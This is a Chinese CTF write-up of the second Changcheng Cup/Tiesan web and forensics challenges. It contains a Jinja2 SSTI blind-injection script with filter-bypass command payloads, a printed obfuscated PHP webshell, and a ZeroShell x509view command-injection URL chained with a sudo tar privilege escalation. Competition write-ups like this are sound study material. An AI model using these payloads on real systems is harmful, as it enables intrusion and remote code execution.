当前位置: 首页 > news >正文

第二届国赛铁三wp

第二届国赛

缺东西去我blog找👇

第二届长城杯/铁三 | DDL'S BLOG

web

Safe_Proxy

源码题目

from flask import Flask, request, render_template_stringimport socketimport threadingimport htmlapp = Flask(__name__)@app.route('/', methods="GET"])def source():    with open(__file__, 'r', encoding='utf-8') as f:        return'<pre>'+html.escape(f.read())+'</pre>'@app.route('/', methods=["POST"])def template():    template_code = request.form.get("code")    # 安全过滤    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']    for black in blacklist:        if black in template_code:            return"Forbidden content detected!"    result = render_template_string(template_code)    print(result)    return'ok'if result is not None else'error'class HTTPProxyHandler:    def __init__(self, target_host, target_port):        self.target_host = target_host        self.target_port = target_port    def handle_request(self, client_socket):        try:            request_data = b""            while True:                chunk = client_socket.recv(4096)                request_data += chunk                if len(chunk) < 4096:                    break            if not request_data:                client_socket.close()                return            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:                proxy_socket.connect((self.target_host, self.target_port))                proxy_socket.sendall(request_data)                response_data = b""                while True:                    chunk = proxy_socket.recv(4096)                    if not chunk:                        break                    response_data += chunk            header_end = response_data.rfind(b"\r\n\r\n")            if header_end != -1:                body = response_data[header_end + 4:]            else:                body = response_data            response_body = body            response = b"HTTP/1.1 200 OK\r\n" \            b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \            b"Content-Type: text/html; charset=utf-8\r\n" \            b"\r\n" + response_body            client_socket.sendall(response)        except Exception as e:            print(f"Proxy Error: {e}")        finally:            client_socket.close()def start_proxy_server(host, port, target_host, target_port):    proxy_handler = HTTPProxyHandler(target_host, target_port)    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    server_socket.bind((host, port))    server_socket.listen(100)    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")    try:        while True:            client_socket, addr = server_socket.accept()            print(f"Connection from {addr}")            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))            thread.daemon = True            thread.start()    except KeyboardInterrupt:        print("Shutting down proxy server...")    finally:        server_socket.close()def run_flask_app():    app.run(debug=False, host='127.0.0.1', port=5000)if __name__ == "__main__":    proxy_host = "0.0.0.0"    proxy_port = 5001    target_host = "127.0.0.1"    target_port = 5000    # 安全反代,防止针对响应头的攻击    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))    proxy_thread.daemon = True    proxy_thread.start()    print("Starting Flask app...")    run_flask_app()

ssti没回应,

法一盲注

附上脚本

import requests
import base64
import string
import time
from urllib.parse import urlencode
​
flag=""
part1="{{()|attr('_''_class_''_')|attr('_''_mro_''_')|attr('_''_getitem_''_')(1)|attr('_''_subclasses_''_')()|attr('_''_getitem_''_')(133)|attr('_''_init_''_')|attr('_''_globals_''_')|attr('_''_getitem_''_')('po''pen')('"
part3="')|attr('re''ad')()}}"
​
url="http://8.147.128.179:22740"
for i in range(1,50):    #["(head -c n /flag | tail -c 1)"  = "j" ] && sleep 2for j in  string.printable:print(flag)part2 = "[ \"$(head -c " + str(i) + " /flag | tail -c 1)\" = \"" + j + "\" ] && sleep 2"coco=part1 + part2 + part3payload=urlencode(coco)print(payload)time1=time.time()data={"code": payload}requests.post(url,data=data)time2=time.time()if(time2-time1>1.5):flag+=jbreak
""""
{{()|attr('_''_class_''_')|attr('_''_mro_''_')|attr('_''_getitem_''_')(1)|attr('_''_subclasses
_''_')()|attr('_''_getitem_''_')(133)|attr('_''_init_''_')|attr('_''_globals_''_')|attr('_''_getitem_''_')('po''pen')('sleep 10')|attr('re''ad')()}}"""
#if head -c /flag )
法二覆盖

本地调试源码(return'ok'if result is not None else'error'改成return'ok'+result if result is not None else'error')然后用焚情打本地

覆盖app.py路由

ls / >app.py

{%set gl='_'2+'globals'+'_'2%}{%set bu='_'2+'builtins'+'_'2%}{%set im='_'2+'i''mport'+'_'2%}{%set hz='so'[::-1]%}{{cycler.next[gl][bu][im](hz)['p''open']('ls+/>app.py').read()}}

cat /flag >app.py

{%set gl='_'2+'globals'+'_'2%}{%set bu='_'2+'builtins'+'_'2%}{%set im='_'2+'i''mport'+'_'2%}{%set hz='so'[::-1]%}{{cycler.next[gl][bu][im](hz)['p''open']('cat+/flag>app.py').read()}}

hello_web

这个当初没做出来,是将../替换成了空,然后..././用来目录穿越就可以了,

tips文件是一个phpinfo

hackme.php里面是一句话木马

<?php highlight_file(__FILE__);$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));?>

eval换成echo输出出来看看

image-20241217120401939

然后再修改一下让他输出

<?php highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
#echo($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
echo "\n";
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
echo $YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU)));
?>

看不到,看源代码

image-20241217121115421

出一句话木马,蚁剑连接走disable_function

http://eci-2zed8l51f9k8f9ptch3w.cloudeci1.ichunqiu.com/index.php?file=..././hackme.php

##

zeroshell

题目内容:

小路是一名实习生,接替公司前任网管的工作,一天发现公司网络出口出现了异常的通信,现需要通过回溯出口流量对异常点位(防火墙)进行定位,并确定异常的设备。然后进行深度取证检查(需要获取root权限)。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放获取防火墙设备管理员权限,查找防火墙设备上安装的木马,然后分析木马外联地址和通信密钥以及木马启动项位置。

1

.从数据包中找出攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令),写出该会话中设置的flag, 结果提交形式:flag{xxxxxxxxx}

(本题附件见于提前下载的加密附件2e9c01da1d333cb8840968689ed3bc57.7z,解压密码为11b0526b-9cfb-4ac4-8a75-10ad9097b7ce )

搜base64的flag出包,然后解码referer

image-20241216211305334

2

通过漏洞利用获取设备控制权限,然后查找设备上的flag文件,提取flag文件内容,结果提交形式:flag{xxxxxxxxxx}

这个是cve,第一种方法是在网上找,

https://developer.aliyun.com/article/1334090
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27

image-20241217122458442

image-20241215141636810

第二种是看流量包,用流量包里面的(就是上边第一问的这个)

image-20241216211604085

GET /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ps%20-ef'%0A' HTTP/1.1\r\n

3

flag{202.115.89.103}

找出受控机防火墙设备中驻留木马的外联域名或IP地址,结果提交形式:flag{xxxx},如flag{ www.abc.com} 或 flag{16.122.33.44}

image-20241217123236823

4

flag为.nginx

请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径

image-20241217133308470

ls -l /proc/10565/exe 来查找运行文件;找到为.nginx
他还是个隐藏文件,比赛结束之后复现可能没有上边的↑关于外部链接的进程

image-20241217133801037

5

请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥flag{11223344qweasdzxc}

直接xxd就可以观看了

image-20241217134157922

下载方法2

没试过,听说可以

wget "http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27cat%20/tmp/.nginx%27%0A%27"

6

请写出驻留木马的启动项,注意写出启动文件的完整路径。结果提交形式:flag{xxxx},如flag{/a/b/c}

在shell中不断查询⽂件,寻找包含".nginx"字符串的⽂件,最终在/var主⽬录下找到

flag{/var/register/system/startup/scripts/nat/File}

image-20241217134526844

WinFT

某单位网管日常巡检中发现某员工电脑(IP:192.168.116.123)存在异常外连及数据传输行为,随后立即对该电脑进行断网处理,并启动网络安全应急预案进行排查。

(本题附件见于提前下载的加密附件82f13fdc9f7078ba29c4a6dcc65d8859.7z,解压密码为3604e2f3-585a-4972-a867-3a9cc8d34c1d )

_1

受控机木马的回连域名及ip及端口是(示例:flag{xxx.com:127.0.0.1:2333})

法一

文档里面有个病毒exe文件;或者在火绒剑的网络上面也可以看到这个exe毒

点开桌面的火绒剑,再点击网络可以看到远程地址 将文件丢到微步云沙箱https://s.threatbook.com/可以找到回连地址

image-20241215153751935

image-20241215154649242

flag{miscsecure.com:192.168.116.130:443}

法二

分析里面的数据包

image-20241217140021844

_2

受控机启动项中隐藏flag是

Win + R 打开运行对话框。

输入 taskschd.msc,然后按回车键。

里面就这一个东西

image-20241217141035890

f^l^a^g^:JiM3ODsmIzEwNTsmIzk5OyYjMTAxOyYjNjUyOTI7JiMxMDI7JiMxMDg7JiM5NzsmIzEwMzsmIzMyOyYjMTA1OyYjMTE1OyYjMzI7JiMxMjM7JiM2NTsmIzY5OyYjODM7JiM5NTsmIzEwMTsmIzExMDsmIzk5OyYjMTE0OyYjMTIxOyYjMTEyOyYjMTE2OyYjMTA1OyYjMTExOyYjMTEwOyYjOTU7JiM5NzsmIzEwODsmIzEwMzsmIzExMTsmIzExNDsmIzEwNTsmIzExNjsmIzEwNDsmIzEwOTsmIzk1OyYjMTA1OyYjMTE1OyYjOTU7JiM5NzsmIzExMDsmIzk1OyYjMTAxOyYjMTIwOyYjOTk7JiMxMDE7JiMxMDg7JiMxMDg7JiMxMDE7JiMxMTA7JiMxMTY7JiM5NTsmIzEwMTsmIzExMDsmIzk5OyYjMTE0OyYjMTIxOyYjMTEyOyYjMTE2OyYjMTA1OyYjMTExOyYjMTEwOyYjOTU7JiM5NzsmIzEwODsmIzEwMzsmIzExMTsmIzExNDsmIzEwNTsmIzExNjsmIzEwNDsmIzEwOTsmIzEyNTs=

image-20241217141336747

_3

受控机中驻留的flag是

 

_4

受控源头隐藏的flag是

_5

分析流量,获得压缩包中得到答案

将流量包放入随波逐流,foremost,出来有压缩包

image-20241217143529864

image-20241217143919284

image-20241217143910176

火绒报毒,压缩包损坏,关闭防火墙重新foremost一遍

image-20241217144212905

image-20241217144414546

发现不是这个问题,修复一下压缩包,出flag

image-20241217144734130

_6

通过aes解密得到的flag

sc05_1

近日某公司网络管理员老张在对安全设备进行日常巡检过程中发现防火墙设备日志中产生了1条高危告警,告警IP为134.6.4.12(简称IP1),在监测到可疑网络活动后,老张立刻对磁盘和内存制做了镜像。为考校自己刚收的第一个徒弟李华,老张循序渐进,布置了5道问题。假如你是李华,请你根据提供的防火墙日志、磁盘镜像及内存镜像文件对主机开展网络安全检查分析,并根据5道问题提示,计算并提交相应flag。

(本题附件见于提前下载的加密附件38c44f100028b56e09dc48522385fa95.7z,解压密码为 37af3744-53eb-49fd-854a-f6f79bbf5b1c )

_1

IP1地址首次被请求时间是多久?计算内容如:2020/05/18_19:35:10 提交格式:flag{32位大写MD5值}

文档直接ctrl+f搜索就行了

相关文章:

第二届国赛铁三wp

第二届国赛 缺东西去我blog找&#x1f447; 第二届长城杯/铁三 | DDLS BLOG web Safe_Proxy 源码题目 from flask import Flask, request, render_template_stringimport socketimport threadingimport htmlapp Flask(__name__)app.route(/, methods"GET"])de…...

缓存商品、购物车(day07)

缓存菜品 问题说明 问题说明&#xff1a;用户端小程序展示的菜品数据都是通过查询数据库获得&#xff0c;如果用户端访问量比较大&#xff0c;数据库访问压力随之增大。 结果&#xff1a; 系统响应慢、用户体验差 实现思路 通过Redis来缓存菜品数据&#xff0c;减少数据库查询…...

4【编程语言的鄙视链原因解析】

在编程行业中&#xff0c;是存在鄙视链的&#xff0c;技术越好的圈子越不明显&#xff0c;技术越差的圈子越明显&#xff0c;很多时候为新人营造了错误的观点&#xff0c;我们来针对此类现象为新人们讲解原因 ①心里落差&#xff1a;比如你是学厨师的 你经过过年努力练…...

美团一面面经

第一个问题&#xff1a;介绍一下最近做的项目 第二个问题&#xff1a;我对你项目有个地方比较感兴趣啊。就是你用的那个二级缓存&#xff0c;你的吞吐量有多大啊&#xff0c;为什么需要使用二级缓存&#xff1f; 答&#xff1a; 在二级缓存策略下&#xff0c;笔记详情接口的吞…...

什么是报文的大端和小端,有没有什么记忆口诀?

在计算机科学中&#xff0c;**大端&#xff08;Big-Endian&#xff09;和小端&#xff08;Little-Endian&#xff09;**是两种不同的字节序&#xff08;即多字节数据在内存中的存储顺序&#xff09;。理解这两种字节序对于网络通信、文件格式解析以及跨平台编程等非常重要。 1…...

Spring中BeanFactory和ApplicationContext的区别

目录 一、功能范围 二、Bean的加载时机 三、国际化支持 四、事件发布 五、资源加载 六、使用场景说明 在Spring框架中&#xff0c;BeanFactory和ApplicationContext是两种常见的容器实现方式&#xff0c;它们在功能和使用场景上存在一些显著的差异。本文将详细解析这两种容…...

期货行业专题|基于超融合实现 IT 基础设施现代化与国产化转型实践合集

SmartX 期货行业重要进展 帮助近 60 家期货用户部署 730 超融合节点&#xff0c;含 230 信创节点。 深入 5 大应用场景&#xff1a; 核心生产资源池 主席灾备资源池 信创云资源池 云原生存储与容器资源池 分布式存储资源池 更多超融合金融核心生产业务场景实践&#xf…...

AI新玩法:Flux.1图像生成结合内网穿透远程生图的解决方案

文章目录 前言1. 本地部署ComfyUI2. 下载 Flux.1 模型3. 下载CLIP模型4. 下载 VAE 模型5. 演示文生图6. 公网使用 Flux.1 大模型6.1 创建远程连接公网地址 7. 固定远程访问公网地址 前言 在这个AI技术日新月异的时代&#xff0c;图像生成模型已经成为了创意工作者和开发者手中…...

Jenkins-pipeline Jenkinsfile说明

一. 简介&#xff1a; Jenkinsfile 是一个文本文件&#xff0c;通常保存在项目的源代码仓库中&#xff0c;用于定义 Jenkins Pipeline 的行为。使用 Jenkinsfile 可以使 CI/CD 流程版本化&#xff0c;并且易于共享和审核。 二. 关于jenkinsfile&#xff1a; jenkins的pipeline…...

vue3中为什么引入setup,引入setup是为了解决什么问题,setup的执行时机是什么?返回值是什么

在 Vue 3 中&#xff0c;引入 setup 函数是为了提供一种更加简洁、灵活、逻辑分离和可维护的方式来组织组件的逻辑。setup 使得 Vue 3 在构建应用时&#xff0c;能够更加有效地支持组合式 API&#xff08;Composition API&#xff09;&#xff0c;解决了 Vue 2 中一些组件逻辑组…...

Ubuntu 安装 docker 配置环境及其常用命令

Docker 安装与配置指南 本文介绍如何在 Ubuntu 系统上安装 Docker&#xff0c;解决权限问题&#xff0c;配置 Docker Compose&#xff0c;代理端口转发&#xff0c;容器内部代理问题等并进行相关的优化设置。参考官方文档&#xff1a;Docker 官方安装指南 一、安装 Docker 1…...

自动化01

测试用例的万能公式&#xff1a;功能测试界面测试性能测试易用性测试安全性测试兼容性测试 自动化的主要目的就是用来进行回归测试 新产品--第一个版本 (具备丰富的功能)&#xff0c;将产品的整体进行测试&#xff0c;人工创造一个自动化测试用例&#xff0c;在n个版本的时候…...

音频入门(二):音频数据增强

本文介绍了一些常见的音频数据增强方法&#xff0c;并给出了代码实现。 目录 一、简介 二、代码 1. 安装必要的库 2. 代码 3. 各函数的介绍 4. 使用方法 参考&#xff1a; 一、简介 音频数据增强是机器学习和深度学习领域中用于改善模型性能和泛化能力的技术。 使用数据…...

MySQL管理事务处理

目录 1、事务处理是什么 2、控制事务处理 &#xff08;1&#xff09;事务的开始和结束 &#xff08;2&#xff09;回滚事务 &#xff08;3&#xff09;使用COMMIT &#xff08;4&#xff09;使用保留点 &#xff08;5&#xff09;结合存储过程的完整事务例子 3、小结 …...

MySQL数值型函数详解

简介 本文主要讲解MySQL数值型函数&#xff0c;包括&#xff1a;ROUND、RAND、ABS、MOD、TRUNCATE、CEIL、CEILING、FLOOR、POW、POWER、SQRT、LOG、LOG2、LOG10、SIGN、PI。 本文所有示例中&#xff0c;双横杠左边为执行的SQL语句&#xff0c;右边为执行语句的返回值。 ROU…...

54.DataGrid数据框图 C#例子 WPF例子

首先是绑定一个属性&#xff0c;属性名称无所谓。到时候看属性设置的啥&#xff0c;可能要改。 <DataGrid ItemsSource"{Binding Index_instance}"/> 然后创建INotifyPropertyChanged的类&#xff0c;并把相关固定的代码粘贴上去。 然后把这个目录类建好&am…...

总结6..

背包问题的解决过程 在解决问题之前&#xff0c;为描述方便&#xff0c;首先定义一些变量&#xff1a;Vi表示第 i 个物品的价值&#xff0c;Wi表示第 i 个物品的体积&#xff0c;定义V(i,j)&#xff1a;当前背包容量 j&#xff0c;前 i 个物品最佳组合对应的价值&#xff0c;同…...

复位信号的同步与释放(同步复位、异步复位、异步复位同步释放)

文章目录 背景前言一、复位信号的同步与释放1.1 同步复位1.1.1 综述1.1.2 优缺点 1.2 recovery time和removal time1.3 异步复位1.3.1 综述1.3.2 优缺点 1.4 同步复位 与 异步复位1.5 异步复位、同步释放1.5.1 总述1.5.2 机理1.5.3 复位网络 二、思考与补充2.1 复…...

Gartner发布2025年网络治理、风险与合规战略路线图

新型网络风险和合规义务&#xff0c;日益成为网络治理、风险与合规实践面临的问题。安全和风险管理领导者可以参考本文&#xff0c;实现从被动、专注于合规的方法到主动、进一步自动化方法的转型。 主要发现 不断变化的监管环境和不断扩大的攻击面&#xff0c;使企业机构难以实…...

基于STM32的智能空气质量监测与净化系统设计

目录 引言系统设计 硬件设计软件设计 系统功能模块 空气质量检测模块自动净化模块数据显示与用户交互模块远程监控与数据上传模块 控制算法 空气质量检测与判断算法净化设备控制算法数据记录与远程反馈算法 代码实现 空气质量检测与显示代码自动净化与调节代码数据上传与远程控…...

人工智能之数学基础:线性代数中的线性相关和线性无关

本文重点 在线性代数的广阔领域中,线性相关与线性无关是两个核心概念,它们对于理解向量空间、矩阵运算、线性方程组以及人工智能等问题具有至关重要的作用。 定义与直观理解 当存在一组不全为0的数x1,x2,...,xn使得上式成立的时候,那么此时我们可以说向量组a1,a2...,an…...

08 工欲善其事必先利其器—常用类

1 字符串相关 1.1 String 所属包&#xff1a;java.lang 代表不可变的字符序列 注意&#xff1a;Java中&#xff0c;String是一个final类 1&#xff09;创建字符串方式 String a "hello"; // 开辟内存空间 String b new String("hello"); String d…...

Redis实战-初识Redis

初识Redis 1、Redis简介2、 Redis数据结构简介3、 Redis命令3.1 字符串3.2 列表3.3 集合3.4 散列3.5 有序集合3.6 发布与订阅3.7 其他命令3.7.1 排序3.7.2 过期时间 如有侵权&#xff0c;请联系&#xff5e; 如有错误&#xff0c;也欢迎批评指正&#xff5e; 本篇文章大部分是来…...

spring boot中实现手动分页

手动分页 UserMapper.xml <?xml version"1.0" encoding"UTF-8"?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd" > <mapper namespace"cn.m…...

【优选算法】5----有效三角形个数

又是一篇算法题&#xff0c;今天早上刚做的热乎的~ 其实我是想写博客但不知道写些什么&#xff08;就水一下啦&#xff09; -------------------------------------begin----------------------------------------- 题目解析: 这道题的题目算是最近几道算法题里面题目最短的&a…...

C++打字模拟

改进于 文宇炽筱_潜水 c版的打字效果_c自动打字-CSDN博客https://blog.csdn.net/2401_84159494/article/details/141023898?ops_request_misc%257B%2522request%255Fid%2522%253A%25227f97863ddc9d1b2ae9526f45765b1744%2522%252C%2522scm%2522%253A%252220140713.1301023…...

最新版pycharm如何配置conda环境

首先在conda prompt里创建虚拟环境&#xff0c;比如 conda create --prefix E:/projects/myenv python3.8然后激活 conda activate E:/projects/myenv往里面安装点自己的包&#xff0c;比如 conda install pytorch1.7.1 torchvision0.8.2 -c pytorch打开pycharm 注意&#x…...

UML-对象图(Object Diagram)

一、定义 UML对象图用于描述系统中对象的状态和相互关系,是类图的一个实例化版本,主要展示了类图中定义的关系在特定时间点的实际体现。它帮助开发者在设计阶段理解对象之间的实际关系、属性值和状态,从而支持系统设计的准确性与有效性。 二、组成要素 UML对象图主要由以…...

Jmeter 动态参数压力测试时间段预定接口

&#x1f3af; 本文档详细介绍了如何使用Apache JMeter进行压力测试&#xff0c;以评估预定接口在高并发场景下的性能表现。通过创建线程组模拟不同数量的用户并发请求&#xff0c;利用CSV文件动态配置时间段ID和用户token&#xff0c;确保了测试数据的真实性和有效性。文档中还…...

超大型集团合并报表数智管理转型

摘要&#xff1a;数字经济时代&#xff0c;数字化技术已成为驱动财务管理价值释放的重要引擎&#xff0c;数智化能力的提升是当前一流财务信息化建设的最新趋势。财务部门是企业的“数据交汇中心”和“信息加工中心”&#xff0c;通过对企业各项财务数据的分类、汇总和清晰呈现…...